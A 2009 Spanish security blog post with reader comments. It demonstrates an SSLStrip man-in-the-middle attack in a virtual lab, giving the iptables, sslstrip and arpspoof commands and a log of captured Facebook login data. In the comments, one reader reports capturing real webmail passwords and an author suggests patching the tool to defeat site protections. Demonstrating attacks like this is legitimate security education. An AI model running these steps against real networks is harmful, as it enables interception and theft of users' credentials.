jueves, 23 de julio de 2009

SSLStrip 0.2

En la Black Hat DC 2009 se presentó la herramienta SSLStrip por parte de Moxie Marlinspike. La herramienta permite realizar ataques MiTM (Man-in-The-Middle) transformando todas las comunicaciones entre cliente y la herramienta sslstrip en comunicaciones sin SSL, evitando con ello los mecanismos que alertan al usuario de la existencia de una comunicación no segura; además de insertar elementos para que el cliente crea que la comunicación sí que se está haciendo de forma segura. Las funciones principales de la herramienta serían:

1. Hacer MiTM en las conexiones HTTP.
2. Reemplazar todos los enlaces HTTPS por enlaces HTTP.
3. Comunicarse con el cliente siempre por HTTP, incluso para las conexiones seguras.
4. Comunicarse con el servidor por HTTPS, para los mismos links seguros que hablamos antes.
5. Hacer transparente la comunicación tanto para el cliente como para el servidor.
6. Reemplazar imágenes como el favicon por imagenes que aporten confianza en la conexión al cliente.
7. Obtención de información sensible.


Una vez vista la teoría, ha llegado el momento de probar la herramienta y comprobar su efectivadad. Para las pruebas utilizararemos una máquina Windows XP como víctima del ataque y una máquina Linux como atacante, todo ello dentro de un entorno virtual con VMware. Estas dos máquinas están dentro de la misma red local y los datos de red son:

  • IP Windows: 192.168.138.129
  • IP Linux: 192.168.138.131
  • Puerta de enlace: 192.168.138.2

Preparamos la máquina Linux (que será la que ejecutará el ataque):
  1. Permitir el ip forwarding:
    #echo "1" > /proc/sys/net/ipv4/ip_forward
  2. Redirigimos todo el tráfico HTTP al puerto 10000 (puerto por defecto de SSLStrip, pudiendo utilizar cualquier otro).
  3. #iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
  4. Arrancamos SSLStrip, con lo que tendremos en el puerto 10000 la aplicación escuchando.
    #python sslstrip.py -f -w sslstrip.log
  5. Realizamos el ataque de arpspoofing para que todo el tráfico pase por la herramienta SSLStrip.
    #arpspoof -i eth0 -t 192.168.138.129 192.168.138.2
En este momento todo el tráfico de la máquina Windows pasará a través de la máquina Linux, haciendo que el tráfico HTTP pase a su vez por la herramienta SSLStrip. Lo que vamos a ver es cómo la herramienta realiza la transformación de enlaces de https a http. Como ejemplo utilizaremos la red social Facebook.

El proceso normal a la hora de autenticarnos generará el siguiente flujo:
  • Accedemos a www.facebook.es
  • El servidor nos responde y nos entrega como parte de la respuesta una URL para autenticarnos que como podéis ver utilizará ssl : https://login.facebook.com/login.php?login_attempt=1.
  • Con lo que una vez accedamos a login.facebook.com la comunicación será bajo SSL.
Ahora analizaremos lo que pasará cuando el tráfico HTTP (recordemos que la comunicación con www.facebook.es es http) pase por SSLStrip.
  • Visitamos www.facebook.es
  • En este caso recibimos la respuesta del servidor pero ligeramente modificada (respecto a la original) por SSLStrip y podemos ver que ahora para autenticarnos nos ofrecerá la siguiente URL : "http://login.facebook.com/login.php?login_attempt=1"



  • Una vez insertado usuario y password se realiza una conexión HTTP sin SSL entre el cliente y SSLStrip.
Después de esas "pequeñas transformaciones", revisamos el log sslstrip.log y vemos las credenciales de acceso a facebook y como ha generado la petición segura para enviarla al servidor.

Got request: POST /login.php?login_attempt=1
Clean cookies, continuing...
Sending Secure Request
Sending Request: POST /login.php?login_attempt=1 HTTP/1.0
Sending header: content-length: 257
Sending header: accept-language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3
Sending header: connection: close
Sending header: accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Sending header: user-agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729)
Sending header: accept-charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Sending header: host: login.facebook.com
Sending header: referer: http://www.facebook.es/
Sending header: cookie: datr=...; locale=es_ES; test_cookie=1; login=+; ABT=...; s_cc=true; s_vsn_facebookpoc_1=; s_sq=; cur_max_lag=2; h_user=; x-referer=http%3A%2F%2Fwww.facebook.com%2Fhome.php; reg_fb_gate=http%3A%2F%2Fwww.facebook.es%2F; reg_fb_ref=http%3A%2F%2Fwww.facebook.es%2F; login_x=...
Sending header: content-type: application/x-www-form-urlencoded
SECURE POST Data (login.facebook.com): charset_test=...&locale=es_ES&email=LOGIN%40dominio.com&pass=PASSWORD&pass_placeholder=...

En el caso de haber realizado el ataque de MiMT con otra herramienta, navegadores como Firefox hubieran mostrado un mensaje de alerta. En cambio con SSLStrip el esquema es el mencionado:

Cliente <---NoSSL----> SSLStrip <--SSL---> Servidor

Con este esquema el navegador no tendrá nada que alertar ;).

Por tanto, la herramienta proporciona los mecanismos necesarios para que un usuario piense que la conexión se está estableciendo de manera segura, aunque realmente esto no sea así y todo el tráfico hacia la herramienta salga sin cifrar.

7 comentarios :

Jose Selvi dijo...

Muy peligroso eso del SSLStrip, sobretodo teniendo en cuenta que muchas webs accedes por HTTP y tras poner la contraseña pasan a HTTPS.

¿Qué sucede si al visitar la primera web HTTP hacemos un MitM y substituimos todas las referencias HTTPS por referencias HTTP hacia SSLStrip? Pues que cazamos de todo y el usuario ni se entera :P

Qué miedo! :S

Antonio Sánchez dijo...

Pero esta herramienta ya fue presentada el año pasado no?
que ofrece de nuevo sobre la versión citada??

muy buen blog!

un saludo

José Miguel Holguín dijo...

Según he podido ver la herramienta se publicó el 21 de Febrero de 2009, en su versión 0.1 (desconozco si previamente estaba disponible).

Las pruebas las he realizado con la versión 0.2, estando pública la versión 0.3 (las pruebas las hice antes del 15 de Julio) según acabo de ver en la página de Moxie:

http://www.thoughtcrime.org/software/sslstrip/

No existen diferencias en cuanto a funcionalidad entre la 0.2 y la 0.3. Pero sí, según el autor se han hecho optimizaciones.

Muchas gracias por el comentario.

Jw0rmC dijo...

increible brother se ve que sabes bastante de esto, te juro que tengo ya teng mas de 6 hrs leyendo tus entradas, son muy buenas, muy muy buenas, se agradece la contrubucion, seguire ansioso del nuevo post que montess ..

pasion y fascinacion por la teknolojia Jcw0rm

Jose Selvi dijo...

Gracias por el comentario y por los cumpidos Jc35aR, esperamos seguirte teniendo como lector mucho tiempo ;)

Anónimo dijo...

Buenos días.

Acabo de leer la entrada, muy interesante, en realidad he llegado a esta web porque he tenido o tengo una duda con SSLStrip. La he usado y ha "cazado" usuario y password de gmail, hotmail pero no de facebook.

También es verdad que la entrada es de 2009 y estamos hoy a Septiembre de 2011, co nlo cual facebook quizás haya tomado medidas, pero me extraña que los gigantes microsoft por hotmail y google por gmail no hayan hecho lo propio para prevenirse de esta herramienta que captura SSL.

Jose Selvi dijo...

@Anónimo: Hay sitios web que han puesto controles, generalmente javascript, que comprueban que el action del formulario de autenticación sea HTTPS, y si no lo es lo anulan. Otros han usado algún truco como especificar el puerto en el enlace (https://loquesea:443) para que al cambiar https por http la conexión no funcione.

Sin embargo, eso solo les protege contra script-kiddies que van a rendirse si la herramienta no funciona. Analiza porque no te funciona con FaceBook y cambia el código del SSLStrip (para algo es OpenSource) para que funcione en tu caso concreto. Yo lo he hecho en más de una ocasión para eliminar cierto código javascript o asuntos similares.

Suerte!